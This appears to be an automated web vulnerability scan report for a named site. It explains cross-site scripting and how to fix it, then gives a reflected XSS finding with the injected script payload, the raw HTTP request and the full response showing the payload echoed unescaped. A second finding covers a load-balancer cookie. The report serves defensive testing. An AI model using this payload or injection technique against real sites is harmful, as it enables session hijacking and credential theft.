XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
- Hi-jacking users' active session
- Changing the look of the page within the victims browser.
- Mounting a successful phishing attack.
- Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
- /KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x0000CA)</script>
|
Request
GET /KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header?'"--></style></script><script>netsparker(0x0000CA)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.knowledgeleader.com
Cookie: BIGipServerknowledgeleader.com_pool=736163338.20480.0000
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Thu, 28 Apr 2011 13:41:26 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 13147
Cache-control: no-cache
Set-Cookie: BIGipServerknowledgeleader.com_pool=736163338.20480.0000; expires=Thu, 28-Apr-2011 14:06:42 GMT; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><link rel="shortcut icon" href="/icons/KnowledgeLeader/Images/KL_Icon.ico"><link rel="stylesheet" type="text/css" media="all" href="/icons/KnowledgeLeader/xGlobal.css"><link rel="alternate" type="application/rss+xml" title="KnowledgeLeader.com" href="http://www.KnowledgeLeader.com/RSS/KnowledgeLeader"><script type="text/javascript" src="/icons/KnowledgeLeader/xGlobal.js"></script><script language="JavaScript" type="text/javascript"><!-- document._domino_target = "_self";function _doClick(v, o, t) { var returnValue = false; var url="&Click=" + v; if (o.href != null) { o.href = url; returnValue = true; } else { if (t == null) t = document._domino_target; window.open(url, t); } return returnValue;}// --></script><script language="JavaScript" type="text/javascript"><!-- function doSearchHeaderBar() {
var searchString = Trim(document.forms[0].SearchTerms.value);
searchFuzzy = 1;
searchWV = 1;
searchStringWithin = "";
searchStringOptions = 0;
if ( searchString == "" && document.forms[0].SearchString == null ) {
urlSearchString = "";
} else if ( searchString != "" ) {
urlSearchString = searchString.replace( / AND /gi, ' "AND" ' );
urlSearchString = urlSearchString.replace( / OR /gi, ' "OR" ' );
urlSearchString = urlSearchString.replace( / NOT /gi, ' "NOT" ' );
urlSearchString = urlSearchString.replace( / & /gi, '+%26+' );
urlSearchString = "(" + urlSearchString.replace( /\s/g,'+AND+' ) + ")";
searchString = searchString.replace( / & /gi, ' %26 ' );
} else {
var searchString = Trim(document.forms[0].SearchString.value);
var searchStringWithin = Trim(document.forms[0].SearchStringWithin.value);
urlSearchString = document.forms[0].Query.value;
for ( var i = 0; i < document.forms[0].SearchStringOptions.length; i++ ) {
if ( document.forms[0].SearchStringOptions[i].checked == true ) {
var searchStringOptions = i;
}
}
if ( searchStringOptions == 1 ) {
var searchFuzzy = 0;
var searchWV = 0;
} else if ( searchStringOptions == 0 || searchStringOptions == 2 ) {
var searchFuzzy = 1;
var searchWV = 1;
}
}
if (document.forms[0].Count == null) {
var count = "50";
} else {
var count = document.forms[0].Count.value
}
if (document.forms[0].SearchOrder == null) {
var searchOrder = "1";
} else {
var searchOrder = document.forms[0].SearchOrder.value;
}
searchString = searchString.replace( / & /gi, ' %26 ' );
searchStringWithin = searchStringWithin.replace( / & /gi, ' %26 ' );
urlSearchString = urlSearchString.replace( / & /gi, '+%26+' );
var dbPath = "KnowledgeLeader/Content.nsf"
location.href = "/" + dbPath + "/Web+Search+Advanced?SearchView&Query=" + urlSearchString + "&SearchFuzzy=" + searchFuzzy + "&SearchWV=" + searchWV + "&SearchOrder=" + searchOrder + "&Start=1&Count=" + count + "&searchString=" + searchString + "&searchWithin=" + searchStringWithin + "&using=" + searchStringOptions + "&checks1=" + "&checks2=" + "&checks3=";
}
function advSearch() {
if ( document.forms[0].SearchString == null || document.forms[0].SearchStringWithin == null ) {
var searchString = "";
var searchStringWithin = "";
var searchStringOptions = 0;
} else {
var searchString = document.forms[0].SearchString.value;
var searchStringWithin = document.forms[0].SearchStringWithin.value;
for ( var i = 0; i < document.forms[0].SearchStringOptions.length; i++ ) {
if ( document.forms[0].SearchStringOptions[i].checked == true ) {
var searchStringOptions = i;
}
}
}
if ( document.forms[0].Query == null ) {
var queryString = "";
} else {
var queryString = document.forms[0].Query.value;
}
// If 'Using' = 'Exact Phrase', don't use search options, if 'All Words' or 'Any Words' use search options
if ( searchStringOptions == 1 ) {
var searchFuzzy = 0;
var searchWV = 0;
} else if ( searchStringOptions == 0 || searchStringOptions == 2 ) {
var searchFuzzy = 1;
var searchWV = 1;
}
if (document.forms[0].Count == null) {
var count = "50";
}else {
var count = document.forms[0].Count.value
}
if (document.forms[0].SearchOrder == null) {
var searchOrder = "1";
} else {
var searchOrder = document.forms[0].SearchOrder.value;
}
searchString = searchString.replace( / & /gi, ' %26 ' );
searchStringWithin = searchStringWithin.replace( / & /gi, ' %26 ' );
queryString = queryString.replace( / & /gi, '+%26+' );
var dbPath = "KnowledgeLeader/Content.nsf"
location.href = "/" + dbPath + "/Web+Search+Advanced?SearchView&Query=" + queryString + "&SearchFuzzy=" + searchFuzzy + "&SearchWV=" + searchWV + "&SearchOrder=" + searchOrder + "&Start=1&Count=" + count + "&searchString=" + searchString + "&searchWithin=" + searchStringWithin + "&using=" + searchStringOptions + "&checks1=&checks2=&checks3=";
}
function enterKey(event) {
var code = 0;
code = event.keyCode;
if (code == 13) {
window.event.returnValue=false;
if (document.forms[0].SearchTerms.value != "") {
doSearchHeaderBar();
} else if (document.forms[0].Username.value != "" && document.forms[0].Password.value != "") {
doSubmit();
}
}
}
function trim(a)
{
return a.replace(/^ +/, "").replace(/ +$/, "").replace(/ +/g, " ");
}// --></script></head><body text="#000000" bgcolor="#FFFFFF" onload="var tab = document.forms[0].Type.value;
if (tab != 'Publications' && tab != 'Tools' && tab != 'Standards & Training') {
//Do Nothing
} else if (tab == 'Standards & Training') {
NavigationHover('Standards-Training', 'On');
} else {
NavigationHover(tab, 'On')
}" onkeypress="enterKey(event);"><form action=""> <div id="Masthead"> <div id="MastheadTools"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/AboutKnowledgeLeader!OpenDocument&header">About KnowledgeLeader</a> | <a href="javascript: PopDialog('/KnowledgeLeader/ContactUs.nsf/Questions!OpenForm&header', '400', '500')">Contact Us</a> | <a href="/KnowledgeLeader/Content.nsf/Web+Content/Site-Map!OpenDocument&header">Site Map</a> | <a href="/KnowledgeLeader/Content.nsf/Web+Content/AboutHelp!OpenDocument&header">Help</a> | <a href="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header?'"--></style></script><script>netsparker(0x0000CA)</script>&Login">Login</a> </div> <div id="MastheadLogo"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&header"><img src="/icons/KnowledgeLeader/Images/KnowledgeLeader_Logo.gif" width="450" height="35" alt="KnowledgeLeader - Powered by Protiviti" /></a> </div> <div id="MastheadSearch"> <input type="text" id="SearchTerms" size="30"> <input type="Button" id="SearchButtonX" style="cursor:hand" onclick="Javascript:doSearchHeaderBar();" value="Search"> <a href="Javascript: advSearch();">Advanced</a> </div> </div> <div id="Navigation"> <div id="NavigationLinks"> <span id="Home" class="NavigationOff" onmouseover="NavigationHover('Home', 'Hover')" onmouseout="NavigationHover('Home', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&header">Home</a> </span> <span id="Topics" class="NavigationOff" onmouseover="NavigationHover('Topics', 'Hover')" onmouseout="NavigationHover('Topics', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Topics!OpenDocument&header">Topics</a> </span> <span id="Tools" class="NavigationOff" onmouseover="NavigationHover('Tools', 'Hover')" onmouseout="NavigationHover('Tools', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Tools!OpenDocument&header">Tools</a> </span> <span id="Publications" class="NavigationOff" onmouseover="NavigationHover('Publications', 'Hover')" onmouseout="NavigationHover('Publications', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Publications!OpenDocument&Start=1&header">Publications</a> </span> <span id="Standards-Training" class="NavigationOff" onmouseover="NavigationHover('Standards-Training', 'Hover')" onmouseout="NavigationHover('Standards-Training', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Standards-Training!OpenDocument&header">Standards & Training</a> </span> <span id="KLplus" class="NavigationOff" onmouseover="NavigationHover('KLplus', 'Hover')" onmouseout="NavigationHover('KLplus', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/KLplus!OpenDocument&header">KLplus</a> </span> <span id="University Center" class="NavigationOff" onmouseover="NavigationHover('University Center', 'Hover')" onmouseout="NavigationHover('University Center', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/University+Center!OpenDocument&header">University Center</a> </span> <span id="Favorites" class="NavigationOff" onmouseover="NavigationHover('Favorites', 'Hover')" onmouseout="NavigationHover('Favorites', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Favorites!OpenDocument&header">Favorites</a> </span> </div> </div><!--// ******************** Begin Content ******************** //--> <div id="Breadcrumbs"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page">Home</a> <img src="/icons/KnowledgeLeader/Images/Bullet.gif" width="5" height="9" alt=">"> Page Not Found </div> <div id="Wrapper"> <div id="Content"> <table class="LayoutTable"> <tr> <td><p><big><b>Looking for something on KnowledgeLeader?</b></big></p><br><p>We're sorry, but your requested page could not be found.</p><br><p>You may have used an outdated link or typed the address (URL) incorrectly. Please be sure check the address for proper spelling, and if you are still experiencing difficulties locating your page on KnowledgeLeader, try visiting the KnowledgeLeader <a href="/">home page</a> or <a href="/KnowledgeLeader/Content.nsf/Web+Content/Site-Map">site map</a>.</p><br><p>Please <a href="javascript: PopDialog('/KnowledgeLeader/ContactUs.nsf/Questions!OpenForm', '400', '500')">contact us</a> to report any broken links, or if you have further questions.</p></td> </tr> </table> </div> </div><!--// ******************** End Content ******************** //--> <div id="Footer"> <div id="FooterLinks"> <table class="FooterNavigation" align="left" width="98%" border="0" cellpadding="0"> <tr valign="top"> <td width="25%"> <!-- AddThis Button BEGIN --> <script type="text/javascript"><!-- addthis_pub = 'kladmin'; addthis_localize = { share_caption: "Bookmark"} addthis_logo = "/icons/KnowledgeLeader/Images/KnowledgeLeader_Logo.gif"; addthis_logo_background = '000066'; addthis_logo_color = '#396a8b'; addthis_brand = '<font size=1>www.KnowledgeLeader.com</font>'; addthis_options = 'delicious, digg, email, favorites, facebook, fark, furl, google, live, myweb, newsvine, reddit, slashdot, stumbleupon, technorati, twitter, more'; addthis_offset_top = 2; addthis_offset_left = 2; addthis_header_color = '#ffffff'; addthis_header_background = '#003366'; //--></script> <a href="http://www.addthis.com/bookmark.php" onmouseover="return addthis_open(this, '', '[URL]', '[TITLE]')" onmouseout="addthis_close()" onclick="return addthis_to()"><img src="http://s7.addthis.com/static/btn/lg-bookmark-en.gif" width="125" height="16" alt="Bookmark and Share www.KnowledgeLeader.com" style="border:0"/></a> <script type="text/javascript" src="http://s7.addthis.com/js/15/addthis_widget.js"></script> <!-- AddThis Button END --> </td> <td width="50%" ><div align="center"><font size=2><a href="javascript:doOpenAccessAgreement(700,500)">Access Agreement</a> | <a href="http://www.protiviti.com/en-US/Pages/Privacy-Policy.aspx" target="_blank">Privacy Policy</a></font></div> </td> <td width="25%"><div align="center"><font color="#6a9cbd" size=2>Join Our Community:</font></div> </td> </tr> <tr valign="top"> <td width="25%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""></td> <td width="50%"><div align="center"><font size=2>© 2011 Protiviti Inc. EOE All Rights Reserved</font></div> </td> <td width="25%"><div align="center"><a href="http://www.linkedin.com/groups?gid=53088&trk=hb_side_g" target="_blank"><img src="/icons/KnowledgeLeader/Images/LinkedIn.JPG" width="93" height="33" border="0" style="vertical-align:top" alt="KnowledgeLeader LinkedIn Page"></a> <a href="http://www.facebook.com/group.php?gid=6507701727" target="_blank"><img src="/icons/KnowledgeLeader/Images/Facebook.jpg" width=77" height="28" border="0" style="vertical-align:top" alt="KnowledgeLeader Facebook Page"></a></div> </td> </tr> </table> </div> </div><p><INPUT TYPE="hidden" NAME="$$SubscriberHideFlag" ID="$$SubscriberHideFlag" VALUE="1"><br><INPUT TYPE="hidden" NAME="Type" ID="Type" VALUE=""></form></body></html>
- /KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header
|
BIGipServerknowledgeleader.com_pool
Request
GET /KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.knowledgeleader.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: Lotus-Domino
Date: Thu, 28 Apr 2011 13:41:14 GMT
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1011
Cache-control: no-cache
Set-Cookie: BIGipServerknowledgeleader.com_pool=736163338.20480.0000; expires=Thu, 28-Apr-2011 14:06:30 GMT; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head></head><body text="#000000" bgcolor="white" style="margin:0px; padding:0px" onload="//var fullURL = window.location.href; // this is the complete document url
//var fullURL = window.document.forms[0].RedirectTo.value;
//var redirectTo = fullURL.substr(0, fullURL.indexOf("&Login")); //this drops the '&Login' text
//window.location.href ="/KnowledgeLeader/Registration.nsf/Authentication+Details!OpenForm&redirectTo=" + redirectTo;"><form method="post" action="/names.nsf?Login" name="_Authentication"><input type="hidden" name="%%ModDate" value="6000120E0D90C7F0"><iframe width="100%" height="100%"src ="/KnowledgeLeader/Registration.nsf/Authentication+Details!OpenForm" scrolling="no" frameborder="0"></iframe><INPUT TYPE="hidden" NAME="RedirectTo" ID="RedirectTo" VALUE="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header"><br><!--////--></form></body></html>